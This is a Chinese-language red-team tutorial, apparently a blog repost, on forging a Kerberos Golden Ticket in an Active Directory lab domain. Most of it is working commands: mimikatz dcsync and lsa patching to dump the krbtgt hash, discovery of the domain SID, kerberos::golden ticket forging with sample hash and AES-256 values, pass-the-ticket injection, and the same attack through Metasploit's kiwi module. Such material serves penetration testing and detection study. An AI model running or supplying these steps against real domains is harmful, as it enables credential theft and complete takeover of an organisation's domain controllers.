0、前言
RT 在利用黄金票据(Golden Ticket)进行 PTP 票据传递时,需要先知道以下信息:
- 伪造的域管理员用户名
- 完整的域名
- 域 SID
- krbtgt 的 NTLM Hash 或 AES-256 值
其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。
在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。
1、导出 krbtgt 的 NTLM Hash
在 mimikatz 下执行以下命令
lsadump::dcsync /domain:teamssix.com /user:krbtgt
这里得到 krbtgt 的 NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087
该命令使用的 dcsync 功能远程转储 AD 里的 ntds.dit,使用 /user 参数,可以只导出指定用户的值。
或者使用以下命令获取 krbtgt 的 NTLM Hash ,域 SID 值,但该命令无法获取 AES-256 的值
privilege::debug
lsadump::lsa /patch /user:krbtgt
2、获取基本信息
获取域 SID
wmic useraccount get name,sid
这里得到 administrator 的 SID 为 S-1-5-21-284927032-1122706408-2778656994-500,即表示当前域的 SID 就是 S-1-5-21-284927032-1122706408-2778656994
获取当前用户的 SID
whoami /user
查询域管理员账号
net group "domain admins" /domain
查询域名
ipconfig /all
3、制作黄金票据
先将票据清空
kerberos::purge
生成票据
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi
传递票据并注入内存
kerberos::ptt Administrator.kiribi
4、验证权限
退出 mimikatz ,使用 dir 发现可以成功列出域控文件
这里使用 PsExec 也同样是能获取到权限的,除了上面使用 NTLM Hash 之外,还可以使用 krbtgt 的 AES-256 值生成黄金票据
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /aes256:3dfa1f9b5809250a7670c12d1e109f0acb9660f902da8aa3a4be55a16affbbd5 /ticket:Administrator.kiribi
命令完成之后,也会生成一个 Administrator.kiribi 文件,之后的操作就都一样了。
5、MSF 下的利用
首先上线一个普通用户,然后加载 kiwi 模块
load kiwi
生成黄金票据
golden_ticket_create -d teamssix.com -k d685b9c4fa2d318a9943ed68948af087 -s S-1-5-21-284927032-1122706408-2778656994 -u administrator -t /root/administrator.ticket
将黄金票据注入内存
kerberos_ticket_use /root/administrator.ticket
注入成功后,进入 Shell 就能查看 dc 里的文件了
参考文章:
https://www.freebuf.com/articles/web/274035.html
原文链接:
https://teamssix.com/210927-163036.html
更多信息欢迎关注我的微信公众号:TeamsSix